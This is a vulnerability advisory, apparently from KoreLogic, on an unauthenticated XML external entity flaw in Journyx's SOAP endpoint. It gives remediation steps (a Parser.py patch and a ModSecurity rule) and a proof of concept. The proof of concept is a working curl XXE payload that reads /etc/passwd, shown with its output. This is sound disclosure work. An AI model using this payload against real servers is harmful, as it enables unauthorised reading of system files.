Journyx Unauthenticated XML External Entities Injection

Vulnerability Description

The soap_cgi.pyc API handler allows the XML body of SOAP requests to contain references to external entities. This allows an unauthenticated attacker to read local files, perform server-side request forgery, and overwhelm the web server resources.

Technical Description

From an unauthenticated perspective, a user can send an HTTP request to the /jtcgi/soap_cgi.pyc endpoint. The body of the HTTP request is read and processed by the Journyx web server as XML.

To process these SOAP requests, the third-party component “SOAPpy” is used. The built-in XML parser for “SOAPpy” is xml.sax. According to the xml.sax documentation (https://docs.python.org/3/library/xml.sax.html), versions before 3.7.1 enable XML external entities by default. Since Journyx version 11.5.4 ships with python 3.6, the SOAP API endpoint is vulnerable.

Mitigation and Remediation Recommendation

The vendor reports that this issue was remediated in Journyx v13.0.0, which is the first wholly cloud-hosted version of this product.

For self-hosted versions of Journyx, external entity processing can be disabled by editing the old bundled version of SOAPpy by modifying the Parser.py file:

  --- Parser.py.orig      2018-11-27 17:26:53.000000000 -0500
  +++ Parser.py   2024-06-18 10:56:01.993019226 -0400
  @@ -1036,6 +1036,10 @@
       # turn on namespace mangeling
       parser.setFeature(xml.sax.handler.feature_namespaces, 1)

  +    # Disallow external entities, prevent XXE
  +    parser.setFeature(xml.sax.handler.feature_external_ges, 0)
  +    parser.setFeature(xml.sax.handler.feature_external_pes, 0)
  +
       try:
           parser.parse(inpsrc)
       except xml.sax.SAXParseException as e:

Additionally, if API access is not required, requests to /jtcgi/soap_cgi.pyc could be dropped without forwarding to FastCGI via a ModSecurity rule like the one below:

  SecRule REQUEST_URI "@contains soap_cgi" "id:1,phase:2,deny,log,auditlog"

Credit

This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

Proof of Concept

The changeUserPassword SOAP method will reflect the username parameter in the HTTP response if the given username does not exist in the Journyx database. This makes exploitation straight forward, as an external entity can be used as the value of username and the dynamic value of the entity is reflected in the page response.

    [attacker@box]$ python xxe.py --host redacted.com --port 8080
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    ...
    [attacker@box]$

    [attacker@box]$ HOST='redacted.com'; PORT='8080'; PAYLOAD_TARGET='file:///etc/passwd'; \
    curl -X POST --data-binary '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "'$PAYLOAD_TARGET'">]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>' \
    -s "http://$HOST:$PORT/jtcgi/soap_cgi.pyc" | awk '/incorrect or invalid password for user /{flag=1;next}/<\/faultstring>/{flag=0}flag'

    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    ...
    [attacker@box]$

The contents of this advisory are copyright(c) 2024 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy